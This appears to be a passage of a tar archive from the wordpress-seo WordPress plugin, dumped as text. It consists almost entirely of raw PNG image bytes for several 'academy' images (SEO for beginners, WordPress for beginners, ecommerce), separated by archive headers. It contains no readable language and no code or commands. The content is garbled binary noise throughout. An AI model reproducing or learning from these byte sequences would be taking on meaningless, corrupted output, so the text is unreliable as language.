#�ڳ{�U�.���O~c�ت�����=�W�=Hҝ'j;N���g���w��l*NN���S7�se}w���r��uU;׏�/���}uU�-�|���x��YR;�P���K�vg*��Ap�~j��e��D��:�7��/��Y�⵹������靉�'�>������񔗿1�����u}P����д��Ɋ�CG�O�Q܇�����{��{3X���4��\��w���PAȮ}���3�#T���㟬��W���7>�f[��u��O7�zj"��;_"��Bl�[&�+���x�c�6>TVd�/S_�UՑ��T�a�ޠ\���5����8^3��%S�No�~���P��k6�53x�5 k��TrO�7��tVg���M�w�Y�7�Pi~h]�nlE�V�;�t�oTO�+�3� 9�W=��{mv-4������Z�'�l��o|zﻟe?ښ&���2�8�����{�o��f���3�4MJa*�!�_�u�c��>N�~��O���n���U�a�ԞS�?���R�U��̿�F�	�������?8}����L|���YU���:����q�ë���*�\�*%�p����9f� ��Xs[�S{p�njԶ�׾�^�I�LS��ʁ���q��D�չ�T�9Q�c�i��c{��D�}\��:�m��y��?c��"�ݓ��Ԟ����2qӾ<]+�g��?u�;�>�f��K�m��h&�j��7H�o^����G
������ɱkݘ��ᛦ�����?O4ȸy:)���|E�+�:|�ׂ_���'�"����:{��u�;:���ܡ�z����S+��n�,W�Y0e�=��43�=�y9�U�������}3���\�ޗ_��Ƨ��Э%�%X�	�PR��Ao[9/��3�{�{Fd7��ն��o��x!�{���zBߢ�5R�P�Dp�T9��w�z��b�j\����޳����R{�����S{�콿����b�=�����NJ�F�܁��~j_x���ΗKe꨽�:���?	nJ���_JH���-w��u�ѱ"��ip��'��+T(Of܁�(��:i��ᕑR{��ܿ��[A|W
@p���.���4S{�콷������:��?����J���3�8x�������������\�F���%��r}pI��V��S���ի\�w�'_�}Y��:���ǰm+�7���R{iy���w��v�S��o�^��Dv�����; �\4d�>;���I3�/���k��++��h�;��u��I���S7��5-����� ��+�c�m�̑�jYS�����+=/�g�. �X����ڷ?�"Y+Jjo��WjM�w�'�; �\@����[����pj}c���F�q�k^�Q�#�;W�.��)o>ugς)?p��-�}�X�}l�-w��S�F��sU�W
@p8W�>����?ts��U���X�,xH��Ȥ��R��P�*��]���m���������޳`Jp�����	������W^u�K6������|�W��.��M�Ϝ�T�N��?�SX�"�_3�7�l/+�߮��.�D)���ֳH�������L<x�]c���������(a����e���#6t܉���Pz�}�g���^nf������%�گ�vp�g�U������0�S��R{����/�V��w�'v�w�H�zۄ�w�[ٚ��Jϋ���N�ݏ��CϪ[���ޗ��� �D4�otŝ�Ou#�U������_5}K�,L�\ߨ����>�j�����qƃG��J����S�������U�3bC���euw���+R}�|��U�s|��������"�ڃ��s���r�����\� ��.ypq��T@.hE|�Iw@p(~jX���L��;@�S��v.ɤ; �9�n���ՐK2���L�W��L����tJ�_I%�"Z��o!;�����{�ɐ�?�}�ok�T���qFIj,>h��t}������ڛ�68*��ņ���oT@p(hjs�O�Q�dFpw�B�����o)Y��i_H@p(\jcH���ޗ�
��ǜnpW%��[�
�ڛ��eY*ى
������yO큛�D��:����ɐ3�@�pr*�3wά��
uȥ��L��]��J.��e^���w(_A��n�:�e��n��w �������N� ���'�Z�'C�bC�&w� ��K��
�@(L��;@5��w@pȗ+R}�	��㇎� ��Oj'\��) ��D?��w�<�d�7����QgƝp�ܯ�� �SL��;@��ɐ�B���rp�kUB�[�BV�<��Ό; ����f�� L��ɟ)�.Ew���{�]�[p?���Rp7�N�hs"�``���,w$IEND�B`�wordpress-seo/images/academy/seo_for_beginners.png000064400000010361147510273100016427 0ustar00�PNG


IHDR��R�$�&PLTET�ݘ��a��f���É��yx�x���n�Tw�'m� O�
a�Bx�����\�3o�l��S�j�^���f�PX�%}��s�z��7��;��H��T��X��L��`��h�³��D|�/��\�3��5��]��x�ٓ��k�����������⯳Ԇ��P��B�ݡ�������z�+��?��d�����˙��h�vs�Bx�1��8x�/`dr"�:X�(jhk�{P�-n�>y�~��i��S��^��S�߳�������є��H����t�֞��]��3q۪�͉�^��qDsV��`��ja�t;j�f��IDATx���c����切����
�)?�U^���j�ҫw}�J�r�n�p��� ?������'�[F��iB@�� t���B@�� t���:B� t���:B@�� t���3��cƒB���c��k�@�@U�1���r�k�\�z�eR�45W��nt6� t�ҷ
�5��Ç��+5�M���R��<���[_���踖��{�c5�[��.�l t�k�G���Z�1�}O�/��Z6�	�]6���B�Ȥ�_�~����B@����=zUjI��rگ���Շ�#��W\�C���]p�5��]R�� t��B@�� t���:���N���чL��4,����:�1�uCr�����*����;�n8���=σJy������w�\��)��\� ���j9�����v
��=�J�jiY����z������w�;B���V���������]���ǁ֕��Bw޾_i�ӞBwܩ�j#Y��=��N
-P��R#}$6~�=�4W�] tg�a�y��$O�D��S���)������&�<g�����JJg��<ʳ7ϵ���Ћ�.�Н�9���H���|�S:}W�x��-�ܒ\��f���9��f��o&Z�ٻE�EW�;f�Ќ֫��v��Ԍ'=��#M�&/� y�״t t�䩦D�P+zci�y ���WiJ�r����HS�}��^�)�8���?��+�ŝoTz�@�;�[�ٝoVz�@�N����6�֔�Bw���v=��s٪�BwoAo�k#F���~*Ku�
��,YW�o�c�&�6�\�6�z7��5�ƆF�@���]��l�B߲���D5x���Bw�7�����@�w��Kg�t��oU/����?� �mJe��dP��z(�D�	��w�;*}.:Wmnd	�ud�>I��e}���oo���A�]�Uݍ[�*Q�.�-����Om���e�V!����p-K�Z� ��+e� �my �HMz���P�7�@� t���]�@�N��~��Q�|��@��Wq���{�UK�;!���j���<�����B�wv�V
p��F5���ײ�U#��z�+F��T����ډBwd��6�,����Ϩ6��M���I'�%@��4h�b�dA/�����X��{�ݡ���j���}�Ό,���AǓe� �-˒f�A��_@�ö,^G;5���Bߺ�d{kC�P�L�o_ɒ���8�Ō��%W�y���3ÂBw�����
t�bA���FS����N�)�Bw�y)[�]z辶���H�t�[�� ��}%��]q6��ޚޙ�\W�Bw����AG+�RMi��C&mMI[�ZѳPӪ�%I��A��ǚ��[�𾲯���F3^�	 t�[����}-�sX��1	 tw�O�ttx��Ӭjr�D���,(��ݱ7)�T��������:O�xo tg�'�>a���������ۼ7�#���J}&���6��3��x�D����@�undIMh��Б	oJ=:�Ի�ת*-2y[��ڹTE�������HRޒJ-�	���S��0ok#UA�`EwH/H5�� =���B��ݹ|)��T�i_�-���㝫������xVt�t�|�{�uB�U��BwH7�\�>6R�q�U�l$�Н�|��*C;u2��!�@sE�,Cu�RK���@����|WCM)~�}�����#�G�C�J��k���kO&9��u��k�DR?����VU���$�A�G;h�3}(6֦p�ǭj��-���<�f���`E�u>~G�������'Z���1���@��{o���t�x �O�MB/�s`c��O.��?[�P��ɘ΁��<�6����;�Gj����rc���:�֦s�6���W��!@��j@ӇZzAN�
B_8�VN�O�`���j�лy�匫�c�s�v�k�O�)@��Ə���B�B/R��9Р�[�'��hN轔q5����9���y�"p/B�[��4)�6�j@�C�5����d��I�i�'y����5�Jo�9���5x�I��4��Ի��D��m�/O� t���:B@�� t���:B@��	3n��PK��� �Ē�U�{[K�[���}=�%Y����:B�d��h�@��2-�Ԓ:ZR�wZ�?d݁l��e]
���:B@�� tM	���������g�Q-~n�4�/�1FK3F���^�T="���� t���:B@�����0���@�͒���:B@��k��f3�Vz�~{w��Fv�q���.�8���Ry��D(�)�Tn5�u������[y��~u:�ެ��Fw�����B�: t@��A���B�: t: t�-�l�t�9P+tژS�) �Z��N����#��3�B�e;;�zyKzO�:�}�B��nI�9 �b��) �Z��(����#���
,á���������)��z-ۖ�> �b>��nB�>��]@������b���	;�Y�y	��qy[>��Kt�^�d����{�DG��`�V�݆9 �b�%:F����3�^�݆���x*�׷�3���݆ۀЋ9�s��	ݻ
���x��p�;�������9���g��%:B��Dr�pX���k9�5�}]���~��>�s����/�ݷm�Kt����k]�#t�s�&�Lk]�#tvW]�9�n^�������]�#t��f�%�Y
��ˇf�q���g5:o
�97k��:s���c�6\gE:�'�k:�.+��yh���}�݆�
Bg������*��svo�l�.��4�e��Kt��z�����v�DG��.���Y,�z��f�m�%:B/��;��-����E3SN-�z��f����p�΅������E3�쾵DG�%/�i�;�6���+\4�����
����g�B_�>���w�9 ��<^��s(B�f��K�{�B_����e�w���z%��������f����h�x�݆����^{c��Ћ�Z��O�����_+�j�^�Ѕ~g����_4s}�݆P������9 �ջ=�z�%��C@��.��z	���~Hg	��E3��z-��B/�)�ۀ��]4�i�P����s@�%/��DG�5�9�% �2��% �2�%:B�oo���뻵DG��Kt�^�M�X�!|�1o'z)?��zy�B�n�B�n��ۀЋ٤s���G�;B�﫿DG�=Ą�˻[r�: �j�>�C���/&w�^�k�fz5KN=�^ͷ9'6��Ћ��������W�mr�#���c����S:S@�|{��>��J�o�t�(:C�MO�2�sw���6ρ�s����G�hK��qE����5��Cgz��(:�U�x�,�]@�:�u��X�s�љ��Cg���ڣ;�p����]����2^W��3\-O�K�f��͏�Cgί�B�: t�r���B�: t@� t@���B��v���i���D�K��Gw@���B�X�-~��k�Ռ�����O�&��/�%��!t����B;]� t�����	]� t��л��Z�w�4?:�w@���B���B�: t@��A���B�: t: t@���B��/�	�ÿ���IEND�B`�wordpress-seo/images/academy/wp_for_beginners.png000064400000024577147510273100016305 0ustar00�PNG


IHDR��R�$��PLTE�}��(j��{�fWw�4�l�w�'�")��X��4�c�� ����Nc�35�v��Y[����FF��m�EL�mv��G��G�p��kg�|�č��l_옃�߷�ٶ�w�Ӯ�ͳ�����z��n�ԓ�V|Ϡ�㳣�Ʀ�Ӳຮ�DZٜ�ɖ�ٯ��8g�~X�Rf��P�U��N�g�fhցb�l�`��Y�reՄn��W�|��^xEw��{��-=�FdXx�u��$lw�bx��@T���D���$29���z��{�*{�����$�פ�zH�3o龩�ۨ�ԏ�ς��f~��z�?z���4E��\v�9Q����B�Jw��sX�"�ם��iU�!h���|�f�,�'�ܯߨ��	,��J�˄f�$�3Y��ҋ��%��E�D�%N��u����4�<�*�״���e���4W�/o���m��ʱ}���Bs�b����G���1f�-n�%�Un�T{`�'Ow���X��J��F(u���M�Z��c�İ��l2v�K��W}k�Tzuy�_��u�;v����Rf��z�Ec�-`�sn�c�h�8a�p�
b�z�Z�Z!i��x� \�gk�_��B��K��ji�Q�yX�M��V���7u.n��A|Y9��1��p����N��q�̡�ݏ�́��W��f��}�й����������������;��Z�ĉ�խ���e��-~���������������I��s�����s���Ӟ�ɪ�Ϗ��Z��G����ۑ��n��z��q��s���׳��Ad�UU�@b�rE|aO�Ot��0��&@IDATx���0�k�ʫ0W����q�袃袃袃袃袃�#:�#:�#�� �� �� �� �� �蠭舎�.:�.:�.:�.:�.:�.:�.:�#:���������������舎舎袃袃袃袃袃�u��袃袃袃袃袃���n�Rt��1WD�?�kH� ���IBܕu�����ƀ�����7�"9�N��2��H5#BjUz]$g�	h�6[Q��3��5��HҤ:�ՠ�{"I�N�@S�j�D�&�����o-i�	���^��I't`�Oރ�dH���`m�)}$�9�B2v=�I�tB����+�"�Mȗ��Ԉ���ƈ|	����m��&�Ё�F�ީJޤ:0�w�-��׼I't���ݎe�'��A�O���8�t5��H�:P�'ׯi�N�@Kտ�H�:0�ύ�e�&�Ё�~�9s�I't��i���l��H�:�X���3s���?�B/��}{rpXl���G'�R1�#›��S�����k�TL���ݽ��-��o�O:��c���/��SW��2��<�{�~mƤ��\���o͘��Ёk��Y��+3&�Б�o�33&=;t�̷�+3&=9t`f˘�:4cҳCnm;k�~gƤg�ܙk�;�:��<��:˸O���/|t�;]87�dq�;ЕZ��7<p�˚0��4��0���0�B����-�[Q[���gw�x
������\{O�p�g���Xb����p�g:4-����K2�.�p�wj�օ��[�A��'���n�ԃ�XYz��v#=�Yz:K�'iş5�>�(���ɛ�����tK?BHRp��E�4���[::y��Z��n�|�ɳ3o��~=����Վd:�IKp��ɣV�t�B|t��3D��Z�N�]E�	�i���V��>��S��� ��H���d:�I��V���H���
D&t�!��3�o�f�tKgdB\iQ3��9?�>>���E%t�	�)�R5��O�~/�q�Q�\W��]
���~�I���[":�{���'xu������E*V]]���(��n�P�[
��>��A�AB��t�_g�H�9ΟcbiR�yA�dC:�
}��I����7�?g	l��h��:��[����30/s>&���PΡY�D����~��q�cBST���p�.ݻ���HG���G�M�s���D.Q�<V�!EEN�g:���u���>���MO��e�³i�bT�V{B�0w��~l��] 5m9n�d"�T�*�>� �����{#:�s��t��^c�)R��V]�>2kD�^3z������/�)�OA-�I�!t��ܢ�ӵ&r�6�]�>KS$��z��^�H����>�/?O����D�ǯ��?WH�R�0�����F$t@��\�dk�yy�I�:	ml�*�i�],��!��-��ɬ9��ۮ�cc��%[z�f~�D^-(��"Ws�й�_{�[$���6*s6�K�ġ7L��K��Ž���R�1r���!��w$�g�Y-?_��5^nXz|v��L5��>&Gy�����C�|rKw�lƻ$aƧܒ{��V���In�T���ٸzኸ�´��.��!�Bo4R$�5c���1G
��W��C�oP�g��R�):�f��r�޹�|�9�V�8���M�9Y�5\q��V�|=���g��z�Nf�C�:��ŗ_��n���.9I��o���r�k�Ϧ��FC� t��Fi�;��k����.B�puN�/�����k63�k�h���&��g+)_�2?
ݲT�����B�i�]�B��u^T����0K�"��չe��yN��a�dUnݒ_�[+���kD���KZ�.}��k��mSqu�8���4�B�,�M+/�r[B����[�n�(ʶ�d>n�nƤ;zС�������!T��[gv?v�����]��6w��i�wɋ;��y���1C���r�l�5}�<�!t�4�|��/���׆ԯ��S�C��o'�Hޤ:�A�I3�fCB�r\`��/�$B�pw.�;Cn����*��Տ��9%Y�=C�F�o�g1�Q��¸!��.�y
�w_Bo$�R�Ͻu�N�U���������.�@����_��g��w�G-B�K*�:D�sja2�ԧ��X
B�"%�#t�B�f�4�/�z#�YE��k��Y�窾�d��]A�C:�$����W���C�����4�帠C�O��:���;�[�tC�#RՊ�!֔���n�lM�z�z��!
�S��ߗ���>)kF���)�8`�ϝj�}(JK:B�4y��>_��.�&���)BK:B��,�|]�帧�z�6H���]��qDq�2���ʢ���tPY��h�pr7f�7�e��{��ջ���}'M����Wz;�<����[ܯ��/�CoW*'�(B�;���)/��ޢT>k�й�}�Vǯf��5�Ne3��f�d��_;ӝ�YCߩ{�����9}�Ƶ�z�
e��$�"tg��7�a�f���
�]��2��LV�B���i�߯��qd�o4,�U��鸜��J�Fg���Jq�ƺ�z���9,#��I��:8c�;"�%�O�lP�;�-�\T�ͺ$���:8c�"��"�7��O6(�Vu[Ϟ���E�s2^A/!tw`r��E�~��z�2
5��U
�C�ʕ�n��L�޸���s��ט�;�&=�ܝ�=*P�Z�q�v�n����B�{�.~Lq9n�1t��B~Ϟ=���Ie���e��L���^�x�ݰ	}H%j֡���uBW��Vd�D�S).�1�ޥ-�U�U��m\��fe���/�,��Co�C�r[7ith��#�B�|�&��}}�F�ޡ��-����Mx�!��Cc�ޯ����CWɴQ^�˛���L�7���^�8��n�,n�Ő�d	���{�H����G��8��
��8BBw&�؃��u:t��8�З,C߉Н��=�Ό�0U��u���z�J�	�|�#t8�y��Om��Z�l/�^e]!�l���&��Z�G�s��h�����rk��Ya	�;.x5�F�&c�x^�_��.^�,�^�x�9�6�O�V��L��;S3�ѱ7��o��9�df�m�~9�9�%j]��\�����#Gf����?&�zM��z9�9�RV>�:&wB%���7{ÿ,X.�BO������	���;a�]�q�6��E�y��4B�YB��N8�*3q��R�;�����ޕ��8�g�ɽ�ht�7���,bMX/�1����8����~��Ց_}�L�<�q��wf�,��o�or��N_Y��3�s�>�j
��,�
0�׏�d���J����82�C�=��u��܍?֏����V���ܹ^�x�/�]�gq�����q�z�7��������,�0����o�ޜ��8���N�[l�q<�eb]��[��N�G<l'�Bo��YB��ٹk#��(�=���%{�5gS�(���利g��3í�������u�r~��vn�wvN�9q!b�oV��>/tZ]���}ח�3-�&Y/�6:��t�kKB'����pO~I:���/�o0:���-��$��X��-V���X�~��uB�r1U['t,�gBo�˽�*�?u�r/e��=:y]��C�p�
�%��ȭ����%�B'����~���}��3܅���~��*]�B�g���/Էػ2:M.��N
׺�>���8�]����� ��3p�]��=v�]�d�(x�]�$t&b�]���
]�X�Bz,w����ЅN:�×�ЅN:{×�ЅN:—�Ѕ��]�B��.t�w�r��;`���듴/�бܯ�oM�I��֥�_�.tr;��7�.tr;�܅.�.X�Bz,w���{9%t�7�r/�Bz�,w��L��/w��ln�/w��df◻Ѕ��]�B��.t�w�r��;`�]��3~�]�f�<�9�4�G�l�^A[���
mj%CuS����@�|"���U���8$��
 pё���_qw����Ͽ�):E'����.�D���b)��\�T(:E����V��^��ꍦ�F��I*��P(:a�� z�?h����d�E���e�֊���>2���#7(:a�x�7�:w&e�����Bt��#s(�rF�):_ܠ+w��ӱ�1Rt��7���Gыuccܾdf,̒���z�ɝ#���
��Q�T*o�t+�d�N�V����NX�D9^��q�a��v%r���;D�������9�(O�St�r�"zqC�q��8�>��.O�	�ݯ�ՆYgT�9j�]O2�.AX�>E�f�z���kٲm�H��6B^9f�A�Z��b+��.�f�v���:�o�X�G=^�k��ѳd��ӄ��6�ώ[������x��u�NX�D���j�����):a�{�:6�9}�WIesc�<��2��~4�M��[�
h-(�a�I���.�,��>����}��
(��lb@B�o�
}��{�A���e9�;��\1��r�/��<�^mB����u�������R�/�/�/z
�7k^��Y7�����'G���=/oj�
�)z�`��(w�����+��tQt�rw]��߻ײ��t��+X�����=�{}��\Q�=$�?���װ
W-�}�L�Ta:E��])z���^�,��)z.!�x(w���ܓ�X������=+=/hv�֘St�r?��
W��g-��%E',���^W{^P{*��܏ z�\R-��cDҌ���^tq#�_�%z�XhQ�B~���c#�T�&z���P�A^�P�
��z���c�B�s�s�r׋���q�O􎱓f��Z�y���+�}fv0�耰�բ����?�3��!E',w��B�
:�{�xϿ��'�=�zX��E���r�h���I��3j�Ri�h4F����5�Q��V,{��g��$i����B�\��z,�{4�1[�m��F�Ѿd&T���m���o�W�z�ᵝq4�3����򳣕�^�ٗ-���هYF��y�h��a��Y�"V�R�	E',w��}�/�O{�O�>�E',w��#�'���#��<�`i�"����ov1>���+�S�������NR^���aI���}��S�_�6)GV��JK:E�S_��.z����o�Q��%�K:E'y��[��+��{����n��\>^R��!/�*wwё݊v��Fd�Y҇��g=|����]���X�W:�%=�z\���~��X���v�����C�6G�	� ���zP�=&cù��&:.��(:a�*��rծ���͒�힥V������;D?`+ne]����T���-�c��E�Æ���rw}���]�����,�#�=h�'���]�1N�Uu�>�ϸ[YXE��)z��?��k��r��X�����Ӄ�w��3�;E'���_;9����"Ou��P\ٜ����:hw�Nns��s$��Ӽ�k���ݣ�,:ʾL���.��>�����ƪv�5���}<<�Pt�r?@���}]���.�@�>RC�	��.�u�k���k�v�fчy�(�/��.:Z}�c�v/45�o���LBу���T���7ϡ�t�>д{4��@�S� !��U���6V릪ݫ�vO�K!����襍���vi�=��vm�Mx�NX�n�7�9
aMvo����'f���%E',w'���ڽ�j�����'^):�}��\�
��-�H-�ڽ�|�}rs�oStr��o�}�s�rW�^�rSTO��}U���;��R� !�u)�_~��n/w��S�ˀ������ظX.��!B~�P������r׋^�^��ڽ�i���_�؆���A^ٿ�?���K�߿��70b]��T�n�l�St��r�����>s.w���+U���yw�ܼm*��$��o���a�]!��N}iM���m�F���C�I�=��wB����_��kD/�&tc�C�ݸ���������޻w���nو�����|x4�{��u]����/\N(z���n�\G����Fx�H��gt������:�-��(zx��-����F�?����N�xۗ�`�j����+[��֎�Pt��W�u�D�ts#��O����j������ˍG���k�DG����g+w��5I�ݣ�K�ˢ�E���&:�}l���o+Ew�cM�G��۽",��_��nl�=<(w�5���wO�Pt��r��k�
��W�X��#��/�,��$�����_6�P�D+E�w���ޢw(:���C�/�Ͽ���T(w���>3�{��.(z> ��D�,�ϰ����4n������VD����]�nY{t���G�N�ݎ���8��0�J�I��.���}#��o`Tnw��{�/�]�Nr\��������O���l����˝���;xx)��q�vj+w����vה���;(w�KJ�I��\��)���\�G��vC�HS�vo���c�$G��Kq�r�\<��;�}rP��(:	��?+���#�B�{�@��܇���=&ݗ�j?��$(��E�6�p��ܝD�r�Mb�vG����v�W�L=��$�\��Bt��� �宿�h�dN�۽%����+St|�㊙_����>���8m�ב�s�v���=�Hn����P�|yrl�K�o��{'���ĕ�E'��;D�_)DW\1���^�~�l������E'��;D"�	�8��U�{������n�����u-�N.wЅ�8��/w��XSqW^`��ܟ�ulw��e�fB�I>^�v.���:�������r?�%��c�c/.��$�\Â�� �����nc�{�c���бܱ�W��$ ^�!:�T��^��>����l�ނ�s[��l�p�(:�E���#�rW��ݸ��A P��{1���m���d��NrP�w��c#N_�N���}=vj��͓gC�v�n�,�H�NrP�!�٩���c�u,?��z������$���_<��ѧ8��8[��;�{�v�Y˽�X��$��%ˇמ������Kz�����/Y���{����St
g�u\�	6�4�31+盡F�gBc}��K�iن�:���K��O�=wA��]/:D��oi�
�ޗޥfkwהmCsC�N��
q���'�pW��^t�)/��#c}/]b(L�t-CsiD�I�垕�����r׋��.�������Ua�Jmo���ܻ�?�\��?��ݽ๶��c!�9��V�4�n���'�r/�(:	��1
��sm��E������@��/4���Sk�τr��$�r�aMtx�(w�蠉w�m/��p&������.��Stt�߿.�w�v���|�>�1����5��Ƚ�;���0vS��$>�������D��L�yv�Y��DG��l���N�b6���`���ܟ�r���8� ::;�,��������{�}:�N�}���W��w�Ow�O�!r�y��YWv�{�V�Y�՞�����>����E���r׋.��s�l+���gni����(APtf��Ǐ�s|����Kzqw���7E��j��`Yл��W�^��U�xג>��;ʽ�M��v_b���vD�I����]ns��`�X��W�	�>���^��$�r��Y�Vh�1�Ѷ��	V��m�������/w�cIo���V�ʽ�]����C�ܑ��N�7!���车}<n*��F�Ct0����23��N�I8�@�Ct���Q�6;���7�D_Z�}&_S��N�	�]-zܴb[�ڽ�V���v_X.�������Zt�y�mv�ygt�����T�x�v):a�;�n�o���6�SY��[R�c�O"�NX���Jnc���վ'���v�����ZO�I@���r׋.�\u����-�w�v_�8�T(:	���������qӺ�>���n�+��d��|�E'!�ܽ�j悕��
�.���J��iF�IP�6�rW���Ц�E4"��U�ʽ%��Qt�r׉_�yQޖ���Eό�P�s��Str��}�.�5{{����.z4q)w���2�Nn]���oхIX3��#l��(:ԕ�H��/"�Nn[��v�Gt���ϱ���.�Rca]g���)z`����k��ׅ1X�x��sca-л)��S� /S�ݝjS4=n�.w��}�=k�ZE
�F��hz݈�D�l�r��iQt�r׈.SM��f�.�<�7=_D���u���E�GF����]#1��F��ܵ�ˬ$��r��n�
��nk3�):a�C�x�caV.wY���w3-R�s�NX��z���c���D�v�{�'E�I�.��3}T�=[��&�r_n�O����C�+DW�ެ��v��7�mNԔ#�"��=��Bt��f�cv�[t�l�p���������1��u�j�2�s+���9E',w��vӑ�qsg��D��u��0����E��{�c�������r��1G�	����ZscQ����;��.���E',�c��cV��c�ゃ�]s��p�u����R�Ct=q݀f)�2;�-�m65 ]F=\�o��~z���4`����9�^62�ED����.�w����;��.z׈t�����]��':(SQt��`g�Ptr;��0EǢ.�s}i[�):a�����Z�D�R�rN�	�ݿ蠷2[������I(z���W�Eņ�B�(z��27�gE'�q�k�rAt�����=�+�
�ͤ�N�ʵ�}�;D�����=D�$m�I��0��;D��:h��X�[I�-��9&d(:a� :(��D�1(���K�I2o��@�A�St�rDt�4���2�E',�pD��Q0��N�	�=�A�?��|��!g�rϗ� ��G�Ş��r���RH�ѽ���-{�3�"�6䍐��{%.�Vcc!mwʕ�E',��E�b�4h4ؑ��ۓ$V��k�.�㈢��333�kG�Ia�0n���la(ڋy)f�~]����T�]���{>�Ԃ.�:�Ϲ�Cw�t�~���[�zá�j�z~�u.�:�r��;�˹���;�+����:��\�z~:w.�:�r��;�˹�zZ:�}�Nd�;�ǧ���:���ܑ�	�:�J���szd�+���QV�k����ι��[<�	�w=�?q�	�Щҡ�� ���о?�C�D	:����`��G���P�S�}�SEC�
v	�:'��B��>r���뗼s_�{�P�5};�z���ݬs_hߩK�v����ciӫ51YOS�]C�3�=�=*�:O_ݍ>��@]����:�p������A]�f^(��A��{��A]չ#o�}�Z]���]�t�%�A�@]t	t�%�A�@]�t��:��K��.��:��t�.��@]t	t�%�A�@]t�.��@�K��.��:��K��.m��Qf�<��IEND�B`�wordpress-seo/images/academy/ecommerce.png000064400000014027147510273100014701 0ustar00�PNG


IHDR��R�$��PLTE�~�Ƌ�͒�̑����nj����‡�ː������ȍ�È����Ɏ�ĉ�����g��_�\@p]@qfJz�n��w�W�Q8j.!YB3&^YAs�e�E0e	G
IL8lsO|MP�\��n����hHvsS��v����"S&W18l29l4:mVIS�����������������ڑ��OW�W���$*a������',bbo����jt�L��젳����������Va����\e����������{��������n|�w�������������j��L��$��B��`����Ո��-��������t��~��`p@JY%.�<8�I*�7C#p.5�E1�@'{2"-	p�V��o��ZjCz���Қ�ʌ����N��l6~����$~�.��Q�� p�@��4��^o.��*�����)�����%��]��R��9��-�����-��'��"y�gy+��ct���&��!u�w��H��0��j�� s�'��(�����ar"y�f��o�:�����fw#~�%}����_o!w�Y��m�(��,��+��)��(��'��&��3��du#{�-��%��%��,�����\m!t�M��k}*��(~�*��t�� r�-�B��hz"z�$�[��d��?��3��is�9(_@/e8;{EH�
O	K!a=?F02rT'*jXAD�+.n\47w#%e�l��QkxIDATx��EvQ�Q������y��r^q���OWW6�j�H6:����I�":�]B'��@�w�	n�cD����6����1���cD����>���1��cDG��6:Ft�N��cDG��):�B"t��G!:Ft����ϳ t����1�#t<ς�1�#t<ς�q�cDG�x����.t�Y�cDG�x�"BLj��q�cDG�8
��1�G!:Ft��7+"t�D��:�B"t��:�B"�׷���>��x���V�f���ڵ��~�az�_�X�a�пe^�A3vC�#����c�>i�H�3�m��U#��<6B�E�4�KG�/���b
Bi�H�s����wʚkA����12.��>�m۶ϻ����?�{��z�/�Nt�۹z'�[t�tD��VtR���~���B��nF���/}�0��F�[�#�?{p̙�=l/\�,��3�CnӁ���Q���zT*A++��=%�u)JV�Y�*%pUQ2fl@���ȭ�ӹ_5�����*����I結��N�W��~�@w��q��=ҹKw����=b=k�Gn�q	�=����[��%rz�K�Y~}�
X��DI�,���+���V*Z����o��ūo]���B�`�~��,݀��F��ë-@?u[�`}�=�%vf��w��� �r���G@��l��DS�
�@��-��!�[/���E��z�/�*c�=À�6084�M#�cсt��'�3ltR��.���~���l�}�:t��
g�4�
�@���
�@�μ1�聡���7c���@:Ч��j����y����C'��A�C'�}�>t:Л�C'��H�C'���<t:л*�C'��Fb�@_X\�myE-�^��	�@_]\JӚR�
�'��K�Z�	��@���uBo:�c})m*��	Ё�À��z)Ё�)��i��%@z<�o��I__���n@g���������'�=�q[۾��܌k�����~@z%��t����t���|@z��|@���t�7�|@z�W@:�w�s٬�@���Z%��t����t~�\t����>�}��{�;��QH��c�oћ�n'��h0c�#�|���~�C�с&����Nd�|o�?+�?�h� ��������O@7Ё� @7Ё�t���@7Ё�/@7Ё^
t��]t��S@�Ё�	��:Ћ��:��n?����:�k��:��n>��A�n>�}
�:Л�n>��H�n>����:л*��g�q@�rnb��3s�f�3���ՓC
��Ks�la�GK��V���;���fg��ZԬ�@�C�G��+����|��>���A�:�3Q4��O�fS���z�l�|���5�]�硯EͶA�:���@�Ht�g��L�[����@}4��F�頃�z�Z��v�=��g���#t�A_�Vk3�n��#t�Aߜ�v��頃�r�Z��vkO頃�d���#t�A�?�t���G:蠃�?��
���A���z:�A�?ҷA�:臵F���@��H��tЏ��q��z3�A7�A�G�I��v
:�@7�A�hu^�]�z#Ѝt�A�<Z�U�k����t#t�A?):ү@��F:蠃~l��z}�F:蠃^v�_�z>Ћ��Ht�ˏ�����H?|�Ht�GQ�1��}&�:��I�l
:�@_��m�z>�7�fנ����6���5�z>З�fC�A��(j�:��@7�A�������dw���������8���"[iCsN���D���z��ڀ0ݫ�.��)��
N�T���'��݋�f�Y�:Ё>#��2���@����Ȝ��@�s~a��K��3re���8E9I��O��Jc��G@:��{o�]�߱�9_$��p�&���/���퓔�T~�'w
t�]�ͭ���>�6}�$�43}�$W�/��m� w@:�g�~�''�����M)M�,���&�Tf���@:�-�gN���.	�U�.�	�-��t���|�SZl��K錸Lp�PR:Ё.��+u�͊�u����G~��Ёt=���eu�V[ژ>��'���>�K���F\lg��'���ɕ��:Ёt9�F�ڎ�<I�����ɭ�'b��t��YR��d;R��������=�|RR:Ё.��|���(f�_��t��y��,2�G���K�˯@:�g�ў\�k�M�uY���xs�<��@߻����\������̇��T��L�L�@��zfI]��"?���+�VR:Ё8�;��&`����&M��t�����wK]u����uB�)��B��N�(
�~N�m��:Ё�@I=s�5�H�wW�*�d
�@�v"�[���8��'g�VR:Ё(�WzG}�.ڞ\h2t�]k2��Oq����Dݓ�bI�@�$7���u�|�� �4,�(��=�y
)��@_�ܦ��k��L�L�@gnЁ�II}�y{t�}߹M����)����{ƛ�9�k��J�B�\����i���0���@��M�*�R.n���|�mV��_��@߻���G]r�t���Oڵ�d
�@z��M�5�tR��W
O��@?�-uup�~�.�^}'^-��@�6�����w��s��t�KM�L���m��:��t�]���bu�L���5�&S@:Х&S�F[�[�=�;��3r?o����U9Ja�)���_'X�7�:Ё~��M��z����>I�tO��@:s��t�O�L-2g@:�矈�=<)�F1_GV��t��*��#S;Mf��m���7G@:�=[�
!s풫��?2�;���BI�@z��z1w��&�9����L�@4�*�t������L*��@�ԛT��"^r����%��d
�@z��T�^s����NNjH�+Ё���m�wͥ��仫�6�	�@z��T�o���h{r���:Ё��m򝾩�W��ɹ,PR:Ё��m

O���S��i��s��:�D,Ё�i���}�6jmc�)���IC�K�苟��d��Bo2t�}�dj�9�:Ё>������@��{����@����Ҳz���4�::ЁN�)��Ü�n�?�:Ё��d���}:�B (68XLM%�N�<h��~�%;d�.�袋.�袋.��#��#��#��Jt��3O�U��>/y��.�袋���#��#��#�袋� ��.��.��.��
